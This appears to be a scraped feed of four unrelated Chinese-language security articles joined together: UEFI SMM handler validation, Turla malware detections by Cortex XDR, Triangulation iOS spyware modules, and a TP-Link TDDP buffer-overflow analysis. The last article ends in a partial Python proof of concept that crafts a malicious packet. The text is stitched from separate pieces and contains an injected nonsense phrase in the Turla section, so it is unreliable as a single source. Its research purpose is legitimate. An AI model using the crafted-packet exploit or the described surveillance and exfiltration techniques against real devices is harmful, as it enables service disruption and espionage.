另外，一些基於AMI代碼庫的UEFI實現並沒有使用SmmIsBufferOutsideSmmValid()，而是通過一個名為AMI_SMM_BUFFER_VALIDATION_PROTORT的專用協議提供了類似的功能。除了調用函數和使用UEFI協議的語義差異之外，這兩種方法的工作方式大致相同。在下一節，我們將為讀者介紹如何將該協議的定義正確導入IDA。

1.jpg

圖19 AMI_SMM_BUFFER_VALIDATION_PROTOCOL是一種操作

檢測方法

檢測這類漏洞的基本思路是尋找不調用SmmIsBufferOutsideSmmValid()或利用等價的AMI_SMM_BUFFER_VALIDATION_PROTOCOL的SMI處理程序。然而，一些邊緣情況也必須被考慮到。如果不這樣做，可能會引入不必要的假陽性或假陰性。

對通信緩衝區本身調用SmmIsBufferOutsideSmmValid()函數：這只能保證通信緩衝區不與SMRAM重疊（詳見低址SMRAM損壞漏洞），但它對嵌套的指針沒有效果。因此，當試圖評估處理程序對rouge指針值的魯棒性時，這些情況不應該被考慮在內。

完全不使用嵌套指針。一些SMI處理程序可能不會調用SmmIsBufferOutsideSmmValid()，僅僅是因為通信緩衝區沒有保存任何嵌套指針，而是保存了其他數據類型，如整數、布爾標誌等。為了區分這種良性的情況和易受攻擊的情況，我們必須清楚了解通信緩衝區的內部佈局。

雖然這可以作為逆向工程過程的一部分手動完成，但幸運的是，如今自動類型重構已經絕非科幻小說，相反，已經存在相應的工具，並且都可以作為現成的解決方案隨時使用。對於這種類型的漏洞來說，兩個最突出和最成功的IDA插件是HexRaysPyTools和HexRaysCodeXplorer。使用這些工具中的任何一個，都可以對原始指針訪問表示法進行相應的轉換，例如：

1.jpg

圖20 使用原始CommBuffer的SMI處理器

變成更友好和更容易理解的點到成員表示法：

1.jpg

圖21 使用重構CommBuffer的SMI處理器

更重要的是，這些插件可以跟踪各個字段的訪問方式。基於訪問模式，它們完全有能力重構包含結構體的佈局，並推斷出成員的數量、大小、類型、屬性，等等。當應用於通信緩衝區時，這種方法可以幫助我們快速查找其中是否含有嵌套指針。

HireHackking

Threat-brief-r3d1.png

Turla（又名Pensive Ursa、Uroburos、Snake）是一個至少從2004年開始運行，總部位於俄羅斯的一個攻擊組織。該組織與俄羅斯聯邦安全局（FSB）有一定聯繫。接下來，我們將在這篇文章中介紹Pensive Ursa工具庫中最近活躍的10種惡意軟件：Capibar、Kazuar、Snake、Kopiluak、QUIETCANARY/Tunnus、Crutch、ComRAT、Carbon、HyperStack和TinyTurla。

MITRE ATTCK稱Turla是以其有針對性的攻擊和隱身而聞名，多年來，Pensive Ursa已經成為一個先進而難以被發現的惡意軟件。

正如MITRE所描述的那樣，Pensive Ursa已對至少45個國家發起過攻擊，包括政府實體、大使館和軍事組織，以及教育、研究和製藥公司。此外，該組織還參與了2022年2月開始的俄烏衝突。據烏克蘭CERT稱，Pensive Ursa利用間諜攻擊烏克蘭目標，特別是針對其國防部門。

雖然Pensive Ursa主要利用他們的間諜工具瞄準Windows設備，但也會攻擊macOS和Linux設備。

以下是該團隊工具庫中最活躍的10種惡意軟件。對於每種類型的惡意軟件，我們都提供了簡短的描述和分析，以及Cortex XDR如何檢測和阻止攻擊。

Capibar別名：DeliveryCheck、GAMEDAY；

惡意軟件類型：後門；

首次發現時間：2022年；

Capibar（又名DeliveryCheck，GAMEDAY）是Pensive Ursa後門，於2022年首次被觀察到，主要用於對烏克蘭國防軍進行間諜活動，通過電子郵件將其作為帶有惡意宏的文檔傳播。

Capibar通過下載並在內存中啟動負載的計劃任務而马云惹不起马云持續存在。攻擊組織將Capibar作為託管對象格式（MOF）文件安裝在受攻擊的MS Exchange服務器上，使攻擊者能夠完全控制服務器。

下圖顯示了負責加載從其命令和控制（C2）接收的XML的代碼片段，圖2顯示了觸發的警報：

1.png

Capibar代碼段加載從其C2接收的XML

2.png

Cortex XDR觸發了警報

Kazuar惡意軟件類型：後門；

首次發現時間：2017年

Kazuar是.NET後門，於2017年被首次發現。 Kazuar提供對其操作人員所針對的受感染系統的全面訪問權限，Kazuar附帶了一個強大的命令集，包括遠程加載額外插件，以增強後門功能的能力。

2021年，研究人員發現，Kazuar和俄羅斯攻擊組織在SolarWinds行動中使用的SUNBURST後門之間存在有趣的代碼重疊和相似之處。 2023年7月，烏克蘭CERT破獲了一次間諜行動，Pensive Ursa則是將Kazuar作為主要後門之一。

下圖顯示了Cortex XDR阻止將Kazuar DLL注入explorer.exe進程，下圖顯示為防止Kazuar而觸發的警報：

3.png

Kazuar被注入explorer.exe並被Cortex XDR阻止

4.png

Cortex XDR的Kazuar執行阻止警報

Snake惡意軟件類型：模塊化後門；

首次被發現時間：2003年；

正如CISA在2023年5月描述的那樣，臭名昭著的Snake惡意軟件是Pensive Ursa工具集中最複雜的工具。該工具的主要目的是實現相當長一段時間的持久性，並從專用目標中盜取數據。自2003年以來，它已經發展了20年。

Snake在全球50多個國家被發現，美國司法部發表聲明，宣布了MEDUSA行動。在該行動中，他們查獲了Snake惡意軟件活動和P2P網絡。他們使用了聯邦調查局開發的一種名為PERSEUS的工具，將其用作Snake惡意軟件的阻止攻擊。

基於先前的分析，Snake惡意軟件實現了可維護的代碼設計，這表明其開發者俱有較高的軟件開發功能。

Snake實現了以下功能：

基於HTTP和TCP的通信協議的自定義實現；

用於隱身的內核模塊；

按鍵記錄儀功能；

Snake最近的變種包括一個類似於下面描述的感染鏈。

Snake惡意軟件傳播示例執行時，Snake從其資源中加載並執行Pensive Ursa的PNG Dropper惡意軟件，並創建一個硬編碼互斥體{E9B1E207-B513-4cfc-86BE-6D6004E5CB9C，如下圖所示：

5.png

Snake loader的資源

然後，PNG釋放器解碼並加載一個易受攻擊的VM驅動程序，該驅動程序用於權限提升，以便將主Snake負載寫入磁盤，並將其註冊為服務。下圖所示的Snake加載程序變體檢測感染鏈中的多個階段，這些階段導致部署、服務註冊和執行Snake主負載。

下圖顯示了Cortex XDR中彈出的執行阻止警報：

6.png

檢測模式下Cortex XDR中顯示的Snake執行檢測

7.png

Cortex XDR中顯示的Snake執行阻止警報

QUIETCANARY別名：Tunnus；

惡意軟件類型：後門；

首次發現時間：2017；

自2019年以來，人們一直在使用QUIETCANRY觀察Pensive Ursa，Tomiris組織甚至更早地使用了這個後門。

Pensive Ursa於2022年9月便針對烏克蘭的目標部署了QUIETCANARY，以及Kopiluwak惡意軟件。

QUIETCANRY是一個用.NET編寫的輕量級後門，能夠執行從其C2服務器接收的各種命令，包括下載額外的有效負載和執行任意命令。它還實現了RC4加密，以保護其C2通信。

下圖顯示了QUIETCANRY後門功能的不同類，展示了QUIETCANRY觸發的基於Cortex XDR多層保護的警報：

8.png

QUIETCANRY代碼中不同類的代碼段

下圖顯示了執行阻止警報：

9.png

在Cortex XDR中顯示了QUIETCANRY的警報

10.png

Cortex XDR中顯示的QUIETCANARY/Tunnus執行阻止警報

Kopiluwak惡意軟件類型：傳播器/下載器；

首次發現時間：2016年；

Kopiluwak惡意軟件於2016年底被首次發現，它是由各種類型的滴管作為多層JavaScript而進行有效負載傳播的。

Pensive Ursa在2017年的一次G20主題攻勢中使用MSIL滴管釋放了Kopiluak惡意軟件，並在2022年末作為SFX可執行文件釋放。

Kopiluwak的JavaScript文件如下圖所示，下面是C:\Windows\Temp\ path下的代碼片段。其目的是收集有關受攻擊計算機的有價值的初始分析信息，例如：

在目標位置列出文件；

檢索當前運行的進程；

顯示活動的網絡連接；

攻擊者通過運行systeminfo、tasklist、net、ipconfig和dir等偵察命令來完成此活動，結果保存在名為result2.dat的文件中。

11.png

在檢測模式下，在Cortex XDR中顯示Kopiluwak執行檢測

下圖列出了由Kopiluwak執行，並由Cortex XDR檢測到的偵察命令：

12.png

Kopiluwak的偵察命令

下圖顯示了Cortex XDR為Kopiluwak發出執行阻止警報：

13.png

Cortex XDR中顯示的Kopiluak執行阻止警報

2019年，Pensive Ursa開始使用Topinambour滴管遞送Kopiluak。該組織將Topinambour捆綁到一個合法的軟件安裝程序中。

安裝後，Topinambour作為一個小的.NET文件被放到%localappdata%文件夾中，並作為一個計劃任務寫入。然後，該惡意軟件與其硬編碼的C2虛擬專用服務器（VPS）通信，以傳遞Kopiluwak惡意軟件。

14.png

Cortex XDR在檢測模式下顯示Topinambour執行檢測

下圖顯示了Cortex XDR彈出的阻止警報：

15.png

Cortex XDR中顯示的Topinambour執行阻止警報

Crutch惡意軟件類型：後門；

首次發現時間：2015年；

2020年12月，ESET研究人員發現了Crutch後門。根據Pensive Ursa的戰術、技術和程序（TTP），攻擊者利用後門攻擊了歐洲的幾個目標，包括一個歐盟成員國的外交部。

這個後門的主要目的是竊取敏感文件，並將數據洩露到Pensive Ursa運營商控制的Dropbox帳戶。使用Dropbox等商業服務進行C2通信是一種已知的（但有效的）技術，因為它是一種合法的服務，並與其他網絡通信相融合。

由於代碼和TTP與Pensive Ursa的另一個名為Gazer的後門有很大的相似性，Crutch被認為是第二階段的後門，其持久性是通過DLL劫持實現的。

下圖顯示了Cortex XDR中Crutch的檢測和阻止：

ComRAT別名：Agent.btz；

惡意軟件類型：後門；

首次出現時間：2007年

18.png

PowerShell滴管在檢測模式下將ComRAT釋放到Cortex XDR中顯示的磁盤

ComRAT是Pensive Ursa最古老的後門之一，他們在惡意軟件的早期迭代中將其命名為Agent.btz。

據報導，ComRAT於2007年首次被發現。從那時起，它進行了多次升級，截至2020年，ComRAT已經迭代了4版。此攻擊是在C++中開發的，攻擊者已使用PowerShell植入（如PowerStalion）進行部署。

下圖顯示了PowerShell滴管機制。攻擊者在使用ComRAT時的主要目的是從高價值目標那裡竊取和洩露機密文件：

19.png

Cortex XDR中顯示ComRAT PowerShell滴管執行阻止警報

下圖描述了Cortex XDR中的PowerShell和DLL執行阻止：

20.png

Cortex XDR中顯示的ComRAT DLL執行阻止警報

Carbon惡意軟件類型：後門；

首次發現時間：2014年

Carbon是一個模塊化後門框架，Pensive Ursa已經使用了幾年。 Carbon框架包括一個安裝程序、一個協調器組件、一個通信模塊和一個配置文件。

Carbon還具有P2P通信功能，攻擊者使用該功能向受網絡上影響的其他受感染設備發送命令。 Carbon通過使用Pastebin等合法網絡服務提供商接收C2的命令。

下圖顯示了Carbon在Cortex XDR中的執行檢測和阻止：

21.png

Carbon創建了一個加載附加組件的服務，該服務在檢測模式下顯示在Cortex XDR中

22.png

Cortex XDR中顯示的Carbon執行阻止警報

HyperStack惡意軟件類型：後門；

首次亮相：2018年；

HyperStack（又名SilentMo，BigBoss）是一個RPC後門，於2018年首次被發現，攻擊者在針對歐洲政府實體的行動中使用了它。 HyperStack使用一個控制器進行操作，該控制器使用命名管道通過RPC與受HyperStack感染的受攻擊環境中的其他計算機進行通信。此通信方法使攻擊者能夠控製本地網絡上的計算機。

HyperStack顯示了與Pensive Ursa的Carbon後門的幾個相似之處，如加密方案、配置文件格式和日誌記錄約定。

下圖顯示了HyperStack在Cortex XDR中的檢測和阻止：

23.png

HyperStack創建了一個用於持久性的服務，在檢測模式下顯示在Cortex XDR中

24.png

Cortex XDR中顯示HyperStack執行阻止警報

TinyTurla惡意軟件類型：後門；

首次發現時間：2021年；

TinyTurla惡意軟件於2021年被Talos首次發現，他們認為這是第二階段的後門。美國、歐盟和後來的亞洲目標都發現了這種後門。

TinyTurla的主要功能包括：

下載其他有效負載；

向攻擊者的C2服務器上傳文件；

執行其他進程；

如下圖所示，攻擊者通過批處理腳本將後門安裝為名為WindowsTimeService的服務。批處理腳本還負責將C2服務器的數據寫入註冊表。一旦後門被執行，它讀取這些值將與其C2通信。

它偽裝成一個名為w64time.DLL的DLL，位於system32文件夾下。

25.png

上面描述的批處理腳本的內容

雖然w32time.dll是一個合法的DLL，而且其他合法的DLL確實有32位和64位的變體，但是合法的w64time.dll並不存在。這種命名慣例旨在進一步分散受害者的注意力，使他們不產生懷疑。

下圖顯示了Cortex XDR檢測批處理腳本、W64Time服務和TinyTurla DLL執行的編寫和執行：

26.png

Cortex XDR在檢測模式下顯示TinyTurla阻止

27.png

Cortex XDR中顯示TinyTurla執行阻止警報

戰術、技術和程序(TTP)Cortex XDR警報被映射到MITRE ATTCK框架，並提供與攻擊相關的戰術和技術信息，如下圖所示：

28.png

Cortex XDR的Mitre ATTCK映射

Pensive Ursa相關活動和工具庫在Cortex XDR中引發了多個警報，這些警報被映射到表1中引用的MITRE ATTCK戰術和技術。

29.2.png

MITRE ATTCK戰術和技術

總結眾所周知，Pensive Ursa高級持續攻擊（APT）組織是一個重要且持續存在的攻擊組織。憑藉其先進的技術，其運營組織在針對全球行業的同時，也向大眾展示了一種先進的規避方式。

我們在本文探索了Pensive Ursa工具庫中排名前十的惡意軟件，並通過Palo Alto Networks Cortex XDR監測了其執行過程。這表明針對先進攻擊使用多層保護模式的重要性。

因為Pensive Ursa APT攻擊的受害者可能會造成重大損失，其後果不僅限於財務損失和數據洩露，還包括影響關鍵基礎設施的可能性，這可能會對國家安全和地緣政治產生影響。因此，每個組織，無論其規模或行業如何，都必須優先考慮全面的安全戰略，並投資多層安全措施，以防範Pensive Ursa等APT組織日益增長的攻擊。

保護和緩解措施Palo Alto Networks Cortex X

HireHackking

APT_Apple_SL_Feat-1200x600.jpg

在之前關於Triangulation的介紹文章中，研究人員討論了TriangleDB的細節，這是這次活動中使用的主要植入程序，使它的C2協議和它可以接收命令。除其他事項外，它還能夠執行其他模塊。另外，這次活動是相當隱蔽的。

本文詳細介紹了該活動是如何進行隱蔽攻擊的。在此過程中，研究人員還將揭示有關此攻擊中使用組件的更多信息。

驗證組件在之前的文章中，研究人員概述了Triangulation活動攻擊鏈：設備接收惡意iMessage附件，啟動一系列漏洞利用，其執行最終導致啟動TriangleDB植入。攻擊鏈可以用下圖來概括:

1.png

除了TriangleDB植入的漏洞和組件外，攻擊鏈還包含兩個“驗證器”階段，即“JavaScript驗證器”和“二進制驗證器”。這些驗證器收集有關受害設備的各種信息，並將其發送到C2服務器。然後，這些信息被用來評估植入TriangleDB的iPhone或iPad是否可以作為研究設備。通過執行這樣的檢查，攻擊者可以確保他們的零日漏洞和植入程序不會被阻止。

JavaScript驗證器在攻擊鏈的開始，受害者會收到帶有零點擊漏洞的不可見iMessage附件。此漏洞的最終目標是在backupabbit[.]com域上默默地打開一個唯一的URL。該URL上託管的HTML頁麵包含NaCl密碼庫的模糊JavaScript代碼，以及加密的有效負載。這個負載是JavaScript驗證器。該驗證程序執行許多不同的檢查，包括不同的算術運算，如Math.log（-1）或Math.sqrt（-1），Media Source API、WebAssembly等組件的可用性。

如上所述，它通過使用WebGL在粉色背景上繪製一個黃色triangle併計算其校驗和來執行一種名為Canvas Fingerprint的指紋技術：

2.png

繪製triangle的代碼

3.png

繪製的triangle

事實上，正是這個triangle，研究人員把整個活動稱為Triangulation活動。

運行驗證器後，它會對所有收集到的信息進行加密，並將其發送到backuplabbit[.]com上的另一個唯一URL，以便接收攻擊鏈的下一階段。

二進制驗證器正如從攻擊鏈圖中看到的，這個驗證器在部署TriangleDB植入程序之前啟動。 JavaScript驗證器是一個腳本，與之相反，這個驗證器是一個Mach-O二進製文件(因此得名binary Validator)。啟動時，它使用AES解密其配置。這個配置是一個plist:

4.png

此列表包含必須由驗證器執行的操作列表(如DeleteLogs、DeleteArtifacts等)。具體地說：

1.從/private/var/mobile/Library/logs /CrashReporter目錄中刪除可能在利用過程中創建的崩潰日誌；

2.在各種數據庫(如ids-pub-id.db或knowledgeec .db)中搜索惡意iMessage附件的痕跡，然後刪除它們。為了能夠做到這一點，驗證器的配置包含40個用於發送惡意imessage的Apple id的MD5哈希值。研究人員成功破解了大部分哈希值，從而獲得了攻擊者控制的蘋果ID電子郵件地址列表:

5.png

3.獲取在設備上運行的進程列表以及網絡接口列表；

4.檢查目標設備是否已越獄。驗證器實現了對各種越獄工具的檢查，如Pangu、xCon、Evasion7、Electra、unc0ver、checkra1n等；

5.打開個性化廣告跟踪；

6.收集有關受害者的廣泛信息，如用戶名，電話號碼，IMEI和蘋果ID；

7.檢索已安裝應用程序的列表。

有趣的是，驗證器在iOS和macOS系統上都實現了這些操作:

6.png

研究人員還發現，驗證器實現了一個未使用的操作，攻擊者將其稱為PSPDetect。

7.png

這個操作從驗證器的配置中檢索一個文件列表(對於研究人員分析的驗證器配置，這個列表是空的)，檢查它們是否存在於文件系統中，並產生一個找到的文件列表作為輸出。

此操作名稱中的縮寫PSP可能意味著“個人安全產品（personal security product）”，或者更簡單地說，是一種安全解決方案。因此，有可能在macOS設備上啟動此操作，以檢測已安裝的殺毒軟件。

執行完所有這些操作後，驗證器加密並將獲得的數據(進程列表、用戶信息等)發送到C2服務器。作為響應，服務器返回研究人員之前描述過的TriangleDB植入。

在日誌中找到線索“Triangulation活動”背後的攻擊者不僅通過在攻擊鏈中引入兩個驗證者來進行隱形操作。事實上，他們對TriangleDB植入程序的所有操作都非常小心。這可以從研究人員對攻擊者通過該植入程序向受攻擊設備發送的命令的分析中觀察到。

在植入與C2服務器建立通信並發送指令之後，它從C2服務器接收多個CRXShowTables和CRXFetchRecord命令。這些命令與可能顯示攻擊鍊和惡意軟件本身痕蹟的日誌檢索有關。檢索到的一些文件有：

1.崩潰日誌（Crash log）文件(例如/var/mobile/Library/Logs/CrashReporter)；

2.數據庫文件(例如/private/var/mobile/Library/IdentityServices/ids-gossip.db)。這些數據庫文件可能包含攻擊者用來發送惡意iMessage的Apple ID。

一旦攻擊者收到這些文件，他們就會把它們從設備上刪除，這樣受害者就無法檢查它們，也無法發現潛在的攻擊跡象。在完成日誌收集和刪除後，攻擊者向植入程序發送多個CRXPollRecords命令，指示它定期從/private/var/tmp目錄中洩漏文件。上傳到C2服務器的文件的名稱應符合下列正則表達式:

8.png

具有這些名稱的文件包含由模塊產生的執行結果。這些模塊通過CRXUpdateRecord和CRXRunRecord命令上傳到受攻擊的設備。

麥克風錄音最侵犯隱私的模塊之一是麥克風錄製模塊，其名稱為“msu3h”，研究人員認為3h代表三小時，默認錄製時間。在執行時，它會解密(使用源自GTA IV哈希的自定義算法)其配置，但只有當電池電量超過10%時，它才會執行進一步的操作。

配置文件本身包含典型的配置數據，例如記錄多長時間和用於加密記錄的AES加密密鑰，但也包含更具攻擊性的參數，例如:

1.suspendOnDeviceInUse:設置當設備屏幕打開時是否應該停止錄製；

2.syslogRelayOverride:設置捕獲系統日誌時是否錄製音頻。

錄音使用Audio Queue API，聲音塊使用Speex編解碼器進行壓縮，然後使用AES進行加密。除了聲音數據，每個錄音都包含診斷信息，它有一個四字節的類型標識符，可以是:

9.png

鑰匙串洩露由於未知的原因，攻擊者決定添加一個額外的鑰匙串洩露模塊，儘管這樣的功能已經存在於TriangleDB中。這個鑰匙串模塊與TriangleDB中的邏輯相同，但主要基於iphone-dataprotection.keychainviewer項目中的代碼。鑰匙串（英文：Keychain）是蘋果公司Mac OS中的密碼管理系統。它在MacOS 8.6中被導入，並且包括在了所有後續的Mac OS版本中，包括Mac OS X。一個鑰匙串可以包含多種類型的數據：密碼（包括網站，FTP服務器，SSH帳戶，網絡共享，無線網絡，群組軟件，加密磁盤鏡像等），私鑰，電子證書和加密筆記等。

SQLite竊取模塊iOS上的許多應用使用SQLite來存儲它們的內部數據。因此，攻擊者實現能夠從各種SQLite數據庫竊取數據的模塊也就不足為奇了。所有這些模塊都具有相同的代碼庫，並且包含要執行的不同SQL查詢。同樣，它們的配置是加密的。當它被解密時，只能找到標準變量，如文件路徑，AES密鑰，查詢字符串等。

這些模塊的代碼相當奇特，例如，攻擊者在fopen()函數周圍實現了一個包裝器，添加了Z標誌(表明創建的文件應該經過aes加密和zlib壓縮)，並與標準w(寫)標誌結合使用，如下圖所示：

10.png

同樣有趣的是，SQLite竊取模塊包含針對不同iOS版本的三個代碼版本：低於8.0、介於8.0和9.0之間、9.0及更高版本。

研究人員找到的每個模塊執行不同的SQL數據庫查詢。例如，有一個模塊處理來自knowledgeec .db數據庫的應用程序使用數據。另一個模塊提取與照片相關的元數據，例如照片中是否有孩子，該人是男是女(見下圖)，以及從媒體文件中自動生成的文本。

11.png

攻擊者對WhatsApp、SMS和Telegram的信息也表現出了興趣，這也不足為奇，因為研究人員也發現了竊取這些數據的模塊。

位置監控模塊這個模塊在一個單獨的線程中運行，並試圖模擬被授權使用配置中指定的位置服務的bundle(例如/System/Library/LocationBundles/Routine.bundle)。除了使用GPS確定位置外，它還使用GSM，通過CoreTelephony框架檢索MCC (MobileCountryCode)， MNC (MobileNetworkCode)， LAC (LocationAreaCode)和CID (CellID)值。

使用gsm相關數據的一個原因是在沒有GPS數據的情況下估計受害者的位置。

12.png

結論Triangulation活動背後的攻擊者非常小心地避免被發現。他們在攻擊鏈中引入了兩個驗證器，以確保漏洞和植入程序不會被傳遞給安全研究人員。此外，麥克風錄音可以調整為在屏幕被使用時停止。位置跟踪器模塊可能不使用標準的GPS功能，如果這是不可用的，而是使用來自GSM網絡的元數據。

攻擊者還表現出對iOS內部的深刻理解，因為他們在攻擊過程中使用了未記錄的私有api。它們還在一些模塊中實現了對8.0之前iOS版本的支持。回想一下，這些模塊在2015年之前被廣泛使用，這表明這些模塊的代碼已經被使用了多長時間。

另外，這次攻擊中使用的一些組件包含的代碼可能表明它們也針對macOS系統，儘管截至發布日期，在macOS設備上沒有遇到Triangulation活動痕跡。

儘管Triangulation活動是在高度隱蔽的情況下執行的，但研究人員仍然能夠提取出完整的攻擊鏈，以及植入程序和插件。如果你想知道研究人員是如何設法繞過攻擊者引入的所有保護措施的，請點擊此文。

HireHackking

TDDP 服務程序在UDP 端口1040 上監聽時，處理數據時未能正確檢查長度，這導致了內存溢出，破壞了內存結構，最終引發了服務中斷。

本文深入分析了一個在2020 年向TP-Link 報告的安全漏洞。遺憾的是，至今沒有CVE 編號分配給這個漏洞，因此相關的詳細信息並未公之於眾。通常，閱讀技術分析報告能夠帶來豐富的見解和學習機會。我堅信，公開分享研究方法和成果對整個行業以及廣大的學習者、學生和專業人士都有著積極的意義。

在本文中，我將使用Shambles這個工具來識別、逆向分析、模擬並驗證這個導致服務中斷的緩衝區溢出問題。如果您對Shambles 感興趣，可以通過加入Discord 服務器並查閱FAQ 頻道來了解更多信息。

首先，我們來介紹一下TDDP 協議，這是一種在專利CN102096654A中詳細描述的二進制協議。您需要了解的所有協議細節都在專利描述中。不過，我會在這里為您做一個簡要的總結。

1.png

TDDP 是TP-LINK 設備調試協議的縮寫，它主要用於通過單個UDP 數據包進行設備調試。這種協議對於逆向分析來說非常有趣，因為它是一個需要解析的二進制協議。 TDDP 數據包的作用是傳輸包含特定消息類型的請求或命令。下圖展示了一個TDDP 數據包的結構。

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Ver | Type | Code | ReplyInfo |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| PktLength |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| PktID | SubType | Reserve |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[0-3] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[4-7] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[8-11] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[12-15] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

當您需要發送命令時，您需要調整Type和SubType這兩個頭部字段的值。據我所知，所有返回的數據都會使用DES 加密，並且通常需要使用設備的用戶名和密碼來解密。發送給設備的配置數據也需要加密。 DES 密鑰是通過結合用戶名和密碼的MD5 哈希值來生成的，具體做法是取哈希值的前8個字節。

下面這張圖展示了整個緩衝區溢出的鏈條。我們將一步步分析，但您可能需要不時地回到上圖來對照。

2.png

讓我們來詳細分析一下。下面展示的函數我們稱之為tddpEntry（sub_4045f80x004045F8），這是整個鏈條的起點。這個函數負責使用TDDP 協議處理通信，通過不斷檢查傳入的數據。它從recvfrom函數接收UDP 數據，該函數用於從dword_4178d0指定的套接字接收數據。

3.png

接收到的數據被存儲在緩衝區（varf4）中。在將數據傳遞給TddpPktInterfaceFunction（sub_4045f8+3300x00404B40）進行處理時，並沒有對接收到的數據大小進行驗證。如下圖所示，GetTddpMaxPktBuff（sub_4042d00x004042D0）函數返回的值是0x14000。

4.png

接下來是TddpPktInterfaceFunction函數的實現。

5.png

上面的條件判斷塊會處理數據包的第一個字節p0等於2 的情況，即代碼中的*(byte *)p0==2。該函數通過設置數據包中的特定值和一個新的存儲空間指針來傳遞數據。然後，它調用tddp_versionTwoOpt（sub_404b400x00405990）函數來進一步處理數據包。在處理數據包時，off_42ba8c的大小和分配的最大長度為0x14000。 tddp_versionTwoOpt函數將數據傳遞給tddp_deCode（sub_404fa40x00405014）進行解碼驗證。

6.png

tddp_deCode函數會設置數據、DES 加密長度和指針，然後嘗試解碼傳入的TDDP 數據包（p0和p1）並驗證解密數據的完整性。如果解碼成功，它會更新解碼後的數據並返回0。

簡而言之，tddp_deCode函數的作用是解碼TDDP 數據包。在tddp_deCode函數中，數據和DES 加密長度會被存儲在byte[4-8]中，並且在調用des_min_do函數進行解密之前，會設置一個指向新存儲數據的指針。值得注意的是，des_min_do是/lib/libutility_lib.so庫提供的一個函數。

7.png

同樣地，大小和長度等參數也會被傳遞給des_min_do函數用於解密。

8.png

在從輸入數據中提取必要的字段後，該函數使用提取的字節byte[4-8]來計算DES 加密長度，並將指針設置指向新存儲的數據，這個指針由變量arg4表示。

//Further up in the function

arg0=p0;

arg4=p1; //Pointer of the newly stored data

//Line 99

var34=des_min_do(arg0 + 28, var38, arg4 + 28, v18);

這裡，arg4作為參數傳遞給des_min_do函數，這個函數我們已經多次提到，它負責對數據進行解密。解密後的數據會從偏移量arg4 + 28的位置開始存儲。

//Line 96

v18=GetTddpMaxPktBuff() - 28;

結果值（v18）被用作後續操作的界限。上面的代碼片段是在調用函數sub_4042d0()時的，它返回解密數據的大小。然後，從這個大小中減去28，可能是為了計算某些頭部的長度。這個值作為第四個參數傳遞。

這段內容有點長，也可能有些混亂，所以讓我們來回顧一下。在des_min_do函數中，arg4和v18是傳遞給函數的參數。變量arg4包含了p1的值，作為第三個參數傳遞給des_min_do。 arg4用於提供DES 數據的長度給des_min_do函數。 v18也作為第四個參數傳遞給des_min_do，並且被賦值為GetTddpMaxPktBuff() - 28的結果。

現在讓我們來看看des_min_do函數的實現。

9.png

如上圖所示，當傳入的DES 加密長度大於最大尺寸限制0x14000時，函數會直接返回0，而不進行解密。因此，如果v6是0，v5小於p1，那麼DES 加密密鑰將不會使用DES_set_key_unchecked設置，也不會執行解密。所以在這個時候，des_min_do函數將返回0。

在tddp_deCode函數中執行了一些其他操作後，我們來到了MD5 摘要驗證環節。

10.png

在tddp_deCode函數處理完畢後，會提取存儲在byte[13-28]中的MD5 摘要，並與當前數據集的整個MD5 摘要進行比較。在比較MD5 摘要時，原始的MD5 摘要byte[13-28]位置會被設置為0。如下圖所示的內存寫操作。

*(byte *)(arg4 + var38 + 28)=0;

由於arg4是包含MD5 摘要的數據結構，var38保存了緩衝區中MD5 摘要開始的偏移量。通過將這個位置的字節設置為0，它有效地修改了存儲的MD5 摘要，該摘要存儲在緩衝區的byte[13-28]中。這種修改使得後續的比較能夠確定重新計算的MD5 摘要是否與原始存儲的MD5 摘要匹配。

所以！存儲在byte[13-28]中的MD5 摘要被提取出來。然後，這個提取的MD5 摘要會與MD5 摘要數據進行比較，其中原始MD5 摘要byte[13-28]位置被設置為0。如果驗證過程正確（即，提取的MD5 摘要與當前數據的MD5 摘要相匹配），tddp_deCode函數將繼續處理，將新存儲內容的指針指向byte[4-8] + 28的位置，並設置字節位置為0。由於byte[4-8]是可以控制的，我們可以引發溢出（如果值大於0x14000），將其寫為0會導致內存損壞，因為它破壞了內存結構並引發了服務中斷（DoS）狀態。

讓我們用Shambles 來做一個概念驗證（POC）吧！這個過程實際上只需要5分鐘。只需創建一個虛擬機並將其映射到包含所有固件二進製文件的第二個文件系統。

11.png

然後我們只需啟動虛擬機，如下所示，無需對固件做任何修改，它就能完美運行。

12.png

通過內置的SSH 控制台，我們將手動啟動httpd程序。

13.png

我們可以通過設置反向代理並訪問頁面來驗證它是否正常工作。

14.png

15.png

我們還將啟動tddpd服務。

16.png

在我們嘗試對系統進行任何操作之前，始終要驗證所需的服務是否正在運行。我們在下圖確認tddpd正在端口1040上運行。

17.png

我將通過本地端口10461訪問虛擬機的端口1040。

我們需要在byte[4-8]中將v0設置為0x01000000。 UDP 數據包仍然必須是有效的並被識別。所以根據專利信息，我們將設置以下值：

byte[0]: Ver

byte[4-8]: PktLength

byte[13-28]: MD5 digest

byte[29-N]: DES

---------------------------------

TDDP version='02'

TDDP user config='01 00 00 00'

TDDP code request type='01'

TDDP reply info status (OK)='00'

TDDP padding='%0.16X' % 00

18.png

最終的概念驗證代碼如下，

import socket

import hashlib

bytes12=bytes([0x02,0x01,0x00,0x00,

0x01,0x00,0x00,0x00,

0x12,0x34,0x56,0x78])

magic=(0x00).to_bytes(length=16, byteorder='big')

tmp_data_bytes=bytes12 + magic

md5_bytes=hashlib.md5(tmp_data_bytes).digest()

data_bytes=bytes12 + md5_bytes

